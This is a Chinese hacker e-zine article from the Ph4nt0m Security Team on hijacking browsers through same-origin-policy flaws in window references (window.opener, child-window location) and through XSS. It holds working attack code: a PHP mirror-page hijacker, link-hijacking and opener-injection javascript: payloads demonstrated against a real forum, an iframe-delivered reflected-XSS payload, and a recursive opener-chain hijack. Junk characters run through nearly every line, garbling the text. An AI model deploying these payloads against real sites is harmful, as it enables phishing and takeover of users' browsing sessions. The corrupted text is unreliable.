==Ph4nt0m Security Team==$ |5 L3 ?: H3 b# p+ A: x+ O
5 Y7 ?2 [- F+ H7 v% f/ W P7 \+ s Issue 0x03, Phile #0x05 of 0x07, B4 \2 E) H3 k9 V. K
( z% C3 K* ]: q) h
- @6 p, V# C- w/ S6 r
|=---------------------------------------------------------------------------=|7 l! M. z) \% ^* f$ {& B! d
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|7 N) R! {- g/ z( S! i
|=---------------------------------------------------------------------------=|6 a0 g) f, w9 S0 p$ I
|=---------------------------------------------------------------------------=|
3 \, f7 G! o% y- {% I- P! V7 Q|=------------------------=[ By rayh4c ]=---------------------------=|
& k% |& ?, D" S|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
/ A- p. F3 Y; ]& M& s" {* a|=---------------------------------------------------------------------------=|
0 Z: W; Y, q! `3 I: ?9 M+ R1 Z' G/ V6 L$ L7 ` Y- g) |
" i9 x% e. X6 J/ Y3 ^# b+ B
[目录]1 m5 ^3 I! w+ R# W3 s h
6 {- ^8 z9 w9 I9 b- f6 Y
1. 前言
- Z' e& h0 C" K2 @) Z2. 同源策略简叙4 V8 Z: n; O6 M3 V1 b h% `
3. 理解window对象的同源策略; A, \: a, S0 B6 @+ | w
4. 窗口引用功能中的同源策略漏洞
G* v' r, i7 k4 `4 S 4.1 父窗口引用子窗口的同源策略问题
# P( ^7 F4 I& r7 |2 O- T 4.2 子窗口引用父窗口的同源策略问题# I+ c1 T P8 k" @9 J2 z
5. 利用窗口引用漏洞劫持浏览器
/ ^) G, o! J& c- W6. 利用XSS漏洞劫持浏览器
2 Y% a% j/ `# C. e 6.1 正向跨窗口劫持5 E7 l- y: N$ J- t6 P+ b; H) O/ L
6.2 反向跨窗口劫持3 V% s4 l: z* \: ~/ j
6.3 极度危险的跨框架窗口引用劫持
! C; d" J8 ~7 r& ^ 6.4 极度危险的正反向跨窗口递归劫持
9 A# z5 v9 U* W$ ?3 f% \) ~ 6.5 完全控制浏览器
! B' x5 p1 ]3 ]0 |/ r! A7. 后记. E+ e# e$ o& C2 r: o1 A" w
8. 参考
7 {8 S0 B" \4 C7 w" v! b' ~: B \7 @
2 B9 B0 d* K9 [% q+ M6 }一、前言
1 `+ I5 {% r5 A% |
9 b! W! v# I) Y 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋8 C. Q& m5 v# S8 i2 O6 V
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
, _# L' | t9 e1 p劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被3 c+ z- V4 J8 Z
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
5 H9 X$ j6 Z# A' E2 j4 u2 P( k
6 i: Z- [2 c& G% j9 z2 j" b3 H; }! q: @6 n' S
二、同源策略简叙
9 ]* B8 l3 v2 |* {
- w" \6 t# V+ {/ o& s 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
' _) q2 i) o: y0 `从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都7 n. J' O, T" w' T6 {
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木1 e3 P; d2 j% E9 [3 m3 y
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
1 v$ c2 S+ b9 I2 |$ b( F漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。 J$ O% t! }. O0 H9 t) @
8 X& Z4 x" {; q& h4 p
2 D' \) T1 y. x* j三、理解window对象的同源策略; ]8 ~& K0 N/ W3 |7 C6 V
' u% V- J) B% X$ B) S 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对: }5 N, I; A! U# ~4 d' I- y8 T( K
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
+ w! E% d8 N+ z! L* @6 \2 E+ V3 s. F9 M# u- a3 @4 g. ^1 n4 Z
--code-------------------------------------------------------------------------% u9 J: M* d5 D. T8 k
<script language="javascript">
8 g/ U; V3 b% N+ y0 e. qfor(p in window) document.write(p+"<br>");
" E% x* c& T9 k( I/ Y; h- y</script>
6 `7 @4 h; G9 g d: ^+ n-------------------------------------------------------------------------------) M6 M4 t6 T6 c5 `) v! R
# d9 T) N! i0 R7 c8 J0 c) Z 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方 H3 e( |7 q9 H# `. y3 M& [4 b/ w
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
1 i; o( c5 C$ N* w这些属性和方法就必须遵循同源策略。3 d+ L: Q2 l' k, `/ Z7 K9 m0 E
2 U6 P/ r( X d8 L1 b
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那& D3 f* j9 N8 C& ^5 b8 v! S
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
3 z! e8 L' N/ U' [# F# S的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这/ |+ Y5 D) h: a1 Y2 V5 t
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
1 j2 d" @) F7 j+ L% G值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location, | t. a' T$ l! _
属性并没有被拒绝访问。
# P$ T& n# x' O$ X7 h# f/ N$ Z* S" w& g) V+ R; V1 H% v
--demo.html--------------------------------------------------------------------, C+ F5 p/ ^0 {* S* C- Z$ h
<script language="javascript"> 6 q# a5 u2 a- ~% M
function allPrpos(obj) { ! c$ ^: e! O M5 B$ J
var props = "<table><tr><td>名称</td><td>值</td>";
9 t8 Z s" w9 ?2 ^+ ^4 M \/ q for(var p in obj){ : e/ K6 C7 w# {$ _* p
if(typeof(obj[p])=="function"){ , C3 P2 v/ |2 `/ G8 D) O
obj[p]();
) q6 P9 k' X3 b* Z" F$ p }else{ 8 G: A6 j& p e, P1 H& i- W5 F
try ! f6 b c% m/ p# @
{
% W7 W# v1 _# D0 n3 a props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; ; ]. |* o$ Z: c m. K
}
( c, X, w( b8 W* Q, n. d catch (ex) $ }5 V, t# t$ h8 q* D
{ 4 e" @3 @0 S: C' ?$ ^
+ l5 E2 H! B6 y
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
7 X" E# _ z7 P/ M } % A! a' {$ q# b4 z: |" Q
7 o& {! n8 e4 i4 Y# h( M }
- T% G7 h; X# c) J J1 R } ! }: p/ Z3 ?5 Y
. ]. o+ v4 j; p9 k1 c6 s4 @9 B
document.write(props+"</table>");
/ G) N% a% I t% A. S8 B: \. D}
# f/ z/ F& Y8 @9 F8 s( f
) o/ J. N+ o7 I7 Qfunction createWin() {
" M {8 H. S; C; z6 b newWin = window.open ("http://www.google.com"); % \3 A2 }, c" ?: J
setTimeout(function(){allPrpos(newWin)},2000); 3 ~4 \6 c1 `/ P
} 3 L' |! J8 j9 [5 K
( W4 b; h; X2 K: ?</script>
Q# @3 e6 |" p+ f
6 M; O9 b& a0 `$ f! J8 Y<button onclick='createWin()'>创建一个非同源子窗口测试</button>
5 I0 p5 ?& {+ @: ]0 G5 r* C-------------------------------------------------------------------------------
- p3 Y! t% B6 g- o% G6 T; E9 _. a9 ?8 Z! C8 i7 C/ V
6 j/ M% m/ n! q+ Z0 A6 p5 y5 V四、窗口引用功能中的同源策略漏洞
2 R, v d, D$ S( H) B* r
' J1 `) c/ J% u" S; T+ u( ~& j" V4.1 父窗口引用子窗口的同源策略问题% R7 J. q5 @) Y0 G
3 \/ U1 D E$ n4 z
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
9 {6 `) i/ L6 S: B8 c但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道- C& m, S6 O# S8 T# i: b
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进' @. Y/ @) @6 l5 I
行测试,会发现父窗口可以控制非同源子窗口location属性值。
8 s6 F' T1 F o" ^4 k) N7 M
% Z. w5 u2 P( `1 u4 j--vul1.html-------------------------------------------------------------------- b0 }5 s* `1 r7 V5 J
<script language="javascript">
P, v4 G a9 c% xfunction createWin() { : w2 l, [5 i% X; ?# {: l, Z. w
newWin = window.open ("http://www.google.com"); 2 I: ~* d9 S( E
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
& W9 k& a7 s0 p$ P}
8 w+ Y+ z" K( u: U1 X! e</script>
6 I* }- w2 O$ _3 ]- D
, y. F7 L% |# Y# h9 T<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ P! i. G* y% G-------------------------------------------------------------------------------- d- Y! Y3 ~0 o
2 A: \* R: X t$ q" A# C1 o3 R8 k+ i! W
4.2 子窗口引用父窗口的同源策略问题
3 |5 [2 {2 x; L* H. V: i% g; B" X# C6 N/ _* G) i
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
& U+ N9 Z7 t6 t: M" @3 W用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们1 L7 [) | G. r% Q
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
7 P6 @3 c& k* i N4 Y会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
, O C" ]; I4 _ h# O3 Y% I1 ~ S* l% e( f2 ]8 U
--code-------------------------------------------------------------------------
: W# H, U3 k6 P, k( o8 _0 `7 K9 ~5 r
javascript:window.opener.location = "http://www.80sec.com";void(0);6 ~2 g6 A. i' M
% U' x0 {# F! h& s9 ^3 n( y
-------------------------------------------------------------------------------3 s) I, @+ o3 b! b" f; K6 n
7 d! t1 N7 x' J, H' T+ w* G
# f) D* i% W/ \3 y3 Y8 F$ m2 Q五、利用窗口引用漏洞劫持浏览器0 k8 z: I/ a: x, ~ V9 ~
; { C! ~. N7 y" Q 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子' m1 @( D. x! m7 Q
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那, Y5 q% Z# t4 E( O) }1 C% L
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。) q1 r' J* J4 I9 x* k; T0 y, ~ F
X; N' M |7 d6 j8 S4 D( L 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
* C' R2 |& R: F4 U$ k9 b生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
5 z$ O4 X3 ?6 \* G% w5 u者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
* t' H2 i+ _4 G3 ?; U- _$ Q1 U& ~后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
2 t3 y4 p( F. r7 j9 \" g会产生什么可怕的后果。
) h3 z; ~6 S! k) t6 I1 \
7 g% n6 X! t- n 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我! v. C: p: c! ]- q: Q+ P" S
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
. g+ ]' k# d4 b' |5 g4 \( M这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
2 p3 Q- K5 C" f8 b* |, |% W候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
. t* c7 s2 w. M) R- g+ l7 V以做更多的事情,所有的一切仅仅是因为点击了一个链接。
8 a+ O& s8 q$ p: P6 t
8 x7 o/ ~3 B- C! D+ i$ T3 ]--hjk_ref.php------------------------------------------------------------------7 \1 Z' l: e+ w8 d9 S
<?php
0 r E Q! y. M3 V' u$ Qif (array_key_exists("HTTP_REFERER", $_SERVER)) {0 e, x* b% G3 a/ `7 ^" q6 v) c
$Url_Mirror = $_SERVER["HTTP_REFERER"];6 a+ c- K+ h- J! ?4 m( f
}
- B6 a# e& |& w- ^' S, \/ W! xif(isset ($_GET['ref'])) {
* T7 ^7 I2 _3 @- uecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';5 W" o. h/ r8 f1 R
}
! i; y7 Q5 Y \0 `* g9 ~?>( n2 C+ C- T7 ]: [# q d! j
; W9 A" H7 [3 g; m; q<script language="javascript">& P. M# @# v# [. f/ Y/ O
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
0 L. U4 P* J9 H3 v</script>
. @7 N* T* _7 \" i-------------------------------------------------------------------------------8 ~. u. y7 G1 l2 v
1 U v1 }% L# `8 |
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。 e' g' X- J" ]8 A
/ O5 e) h3 ~% g3 A6 w" A; w2 s
* O9 w8 @* R$ I9 a3 S6 x六、利用XSS漏洞劫持浏览器
8 e! _* j9 n3 v; m9 L5 f4 p, S. u6 j! K# X( d8 a
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为: H% B5 X& h5 {5 q$ O( u$ i) S; X
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后' d" G7 i3 X/ a' G B4 a
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起# A' v! d5 B7 M' q
讨论跨站师的终极技巧: o% b: G, c" l6 @5 H6 J& `
! k1 y. k7 s; j( K6 g. J
; |6 `$ W! W# s7 Q2 Z& m6.1 正向跨窗口劫持
4 J f: J# t: O0 A5 `1 n7 \% `
6 [+ D- y7 j) A$ z+ a 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
* y" d. g# j, C4 E6 m1 t主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链2 `, I- p6 N" l3 _/ _3 L% s
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话& j+ ?5 s* i0 ~6 t7 a4 w
框脚本。 / W9 ]- f3 |* k4 U1 Z$ G+ V0 T
Q$ K8 Z( q3 ~1 A; G' |$ l
--hijack_open.js---------------------------------------------------------------
& @3 b5 h9 J! }! D% W. T) h, C! }* \, [+ x
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
3 H. i& I v! f! ~7 d- `' ]! l
3 D6 Z, k1 \" J5 M/ p-------------------------------------------------------------------------------! |* t9 Q. D' [) S6 T, V" A
" R8 N6 T1 O5 o M
t; I1 d" X6 O; q
6.2 反向跨窗口劫持
9 K% @3 O! w1 |( e1 F6 i3 W* c* ^$ i+ z6 I
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代/ X& G1 p- v& i# h9 e/ }9 j
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
' ^" k1 y4 R3 V框脚本。
% f8 ~% G6 X2 ?; v3 b$ X
3 K, F' Z7 P1 Q. f0 }2 w--hijack_opener.js------------------------------------------------------------- m( f9 J6 _8 m0 L
: K$ F- V5 C5 J. S6 [4 J
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);, ^' ~* V& {% o! }- e F5 y
! M; l; d" d- W( f% _
-------------------------------------------------------------------------------( R0 N0 X3 o# Y' q7 Q
8 ~) v! J; t) Y! Y# s$ D# S# ?7 A- V8 m0 p6 q5 F* b1 q$ B
6.3 极度危险的跨框架窗口引用劫持
2 O. Q% ~6 _, g5 q: l% u9 ^8 {0 n4 \1 \( h6 o0 i8 }' o- g
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞. ~0 R, y: c+ y& F, b, ]5 B
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
& W, e0 k8 [% ~0 c, d8 ?适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个) A1 D. N7 J# i& r: P& i% D" q
非持久型的XSS,如下:$ p/ B) B6 ~/ J4 X: e
7 ~) r: T2 }1 m" J( u. f C! S<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>1 }3 m% @0 {0 z, U R% H2 r2 A
9 \. F6 {% U% c7 u% Q; H8 l0 x
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
1 [1 Y1 T- C0 [ ^4 X1 U$ Q注入脚本。7 o+ ^0 {2 ^) ~" v H/ q
9 s: J7 ~9 \; I--hijack_frame_opener.js-------------------------------------------------------
|" k S, ?! `) s& X% [) m<script>
% o+ e* K! ~$ gwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";# l- E; i/ e6 j+ ^# ]* m! n
</script>
/ V! W3 j4 z: I3 ?/ U% W) X& R-------------------------------------------------------------------------------
) C5 a, n: t# j$ x5 @% y8 U9 f7 ]: e8 q4 l* g2 G
9 K2 r8 l R4 e3 a6.4 极度危险的正反向跨窗口递归劫持
/ R& \ f- L1 h! ~* A7 p, k L# u- O: C9 `
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window( ]) r5 @2 g7 M/ m: Y; x% y
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过# {& C, `9 S4 r! d; J, R$ V: X. F
异常处理规避之间跨域页面的访问异常,代码如下:, @) Q. Q9 i% q B# ~! |
2 t7 S# J- I+ ^( L4 k
--code-------------------------------------------------------------------------! `8 s. n. G; I: X$ Q) U, R$ t
! n1 R4 w* {$ {, C) a4 V+ Ijavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
( J8 a O6 E% p* Z. e* b7 T5 s7 C: q+ j6 U- ~
-------------------------------------------------------------------------------6 @2 n0 a/ _ m& `
; l8 G# @. I/ ]6 O3 }2 H7 t7 }
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
$ ^2 a; @/ u$ j5 N' q" @- a- N5 F, j以劫持B域之前的A域页面,从而实现“隔空打击”。0 p9 q/ I# n. D% ^% Y" N4 V) A
* X! w1 K) U% z1 ^( z9 S
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面* J- v6 K& O: i. W4 a
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。$ C$ @- e' U9 Y# G
. |7 N, W2 X, E
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
* [7 e) B1 K) y7 c# U
+ X& h! V; M2 q, {$ s+ V0 ]5 Z+ l; N T" h- c( {1 F7 t: r* j
6.5 完全控制浏览器
( a* y+ \& f5 g7 @ I9 ?, r9 {3 n# l o* x
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
. X8 ]% A3 y* k7 b是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
. L- x1 I3 |! z- H+ z漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失6 u; n4 s7 z0 S: F C% q
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再; ^7 F6 w% F) B' l
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站9 b% m9 A9 t/ d+ S4 l( k( n. o; ]
师的终极目标 - 完全控制浏览器。
( F' G4 j5 p8 r' Z3 w9 n0 E ^
c# t z( G0 y* e Z8 d8 A9 t7 s& f( X/ i4 P9 l
七、后记; X8 |' _. x7 N
4 Q/ F0 b# N, T7 t7 D( e 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全* h& q6 c$ k- ~
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予2 M1 u$ y2 I1 f j: B
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
3 F' \3 a- Y) y' Y
2 Z6 B X5 v; q
: s7 ?* V- Z6 E1 O- k+ n3 J8 {八、参考
: r; O+ h5 J' B! G% M! x8 z+ s* ~. F6 E6 A3 A2 K7 N
1. http://en.wikipedia.org/wiki/Same_origin_policy
& r# E: d2 Z9 v+ s- j/ C2. http://code.google.com/p/browser ... licy_for_DOM_access2 P$ I. _0 `6 B$ t8 Z4 z( A
3. http://www.w3.org/TR/Window/8 \, g: G) c/ w8 \' I5 Q2 l( [
4. http://www.80sec.com/release/browser-hijacking.txt2 u i( G' T' Q( U0 O6 @' Q+ M; ?
5. http://www.80sec.com/all-browser-security-alert.html
" S3 p' @9 C Z4 j( H6. http://www.80sec.com/ms08-058-attacks-google.html/ { Y+ C' ~$ i: M5 y4 l- C
3 Q) }1 D2 Y- y
-EOF- |